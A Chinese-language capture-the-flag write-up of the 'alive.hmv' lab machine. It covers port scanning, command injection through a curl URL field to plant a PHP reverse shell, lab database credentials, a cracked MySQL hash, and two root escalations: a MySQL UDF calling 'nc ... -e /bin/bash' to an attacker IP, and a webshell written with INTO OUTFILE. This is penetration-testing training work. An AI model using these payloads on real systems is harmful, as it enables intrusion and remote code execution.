主机发现

所渗透的主机是192.168.56.103

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.56.103
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 04:52 UTC
Nmap scan report for 192.168.56.103 (192.168.56.103)
Host is up (0.00037s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:1D:38:66 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds
sudo nmap -sT -sV -sC -O -p22,80 192.168.56.103                                                  
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 04:52 UTC
Nmap scan report for 192.168.56.103 (192.168.56.103)
Host is up (0.00030s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 26:9c:17:ef:21:36:3d:01:c3:1d:6b:0d:47:11:cd:58 (RSA)
| 256 29:26:68:49:b0:37:5c:0e:7b:6d:81:8d:60:98:8d:fc (ECDSA)
|_ 256 13:2e:13:19:0c:9d:a3:a7:3e:b8:df:ab:97:08:41:88 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Host alive
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:1D:38:66 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

hosts添加alive.hmv

扫一下子域名,但似乎没有

Web(Getshell)

访问80端口,扫描目录有一个/tmp目录,可以直接获得服务器的目录,根目录可以输入一个URL。本地开启一个web服务器,是可以发起请求到本地的并且访问文件的?试着用分号来堆叠注入,但是报错了。猜测是调用了一个curl命令来,试着下载PHP反弹shell到Web根目录,但是似乎没有权限,那就下载到/tmp目录

http://192.168.56.102/phpshell.php -o /var/www/html/tmp/shell.php

拼接命令

开启监听,访问/tmp/shell.php成功获得反弹shell

转移shell到msf

提权

发现还有一个叫做code的虚拟主机竟然没有扫描出来

ss -tlnp

还有一个开在本地8000端口的服务

上传pspy,发现有一个条

php -t /opt -S 127.0.0.1:8000

上传socat做一个端口转发

./socat -v TCP-LISTEN:10000,reuseaddr,fork TCP:127.0.0.1:8000

不过貌似也只是下载了一个backup.zip233似乎不需要端口转发

压缩包里面一个备份文件,内容是:

host:      alive.hmv
location: /var/www/code
param: digit
code: 494147203525673

查看/var/www/code

在index.php找到数据库配置

$servername = "localhost"; $username = "admin"; $password = "HeLL0alI4ns"; $dbname = "digitcode";

连接数据库,使用qdpm_db

获取users表的所有数据,有一串hash,但是爆破不出来

换用MySQL数据,查看users表

找到了root用户的哈希88B2B2E7392C149CE6B704871A568FD35798F9B8

爆破得到”thecondor”

但是似乎并不是root用户和alexandra用户的密码,只是MySQLroot用户的密码

方式1:UDF提权

下载udf.so到/tmp目录

用root身份登录:

show global variables like '%secure_file_priv%';

值为空,可以使用 LOAD DATA INFILE 语句导入数据的目录。

show variables like '%plugin%';

得到插件路径为/usr/local/mysql/lib/plugin/

use mysql

create table foo(line blob);

insert into foo1 values(load_file('/tmp/udf.so'));

select * from foo1 into dumpfile '/usr/local/mysql/lib/plugin/udf.so';

cp /tmp/udf.so /usr/local/mysql/lib/plugin/udf.so (此步骤在bash shell中)

create function sys_eval returns integer soname 'udf.so';

select sys_eval('nc 192.168.56.102 1234 -e /bin/bash');

方式2:webshell提权

发现/opt目录的身份是root,而我们已经拿到了MySQL的root的身份,试着在/opt目录写一个webshell获取的身份也就是root了

select "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '/opt/shell.php'

也就可以以root身份RCE了!

碎碎念

也是hard难度的靶机,比上一个稍微简单一些。最后一步提权有两种方式都操作了一下,总是还算比较常规吧。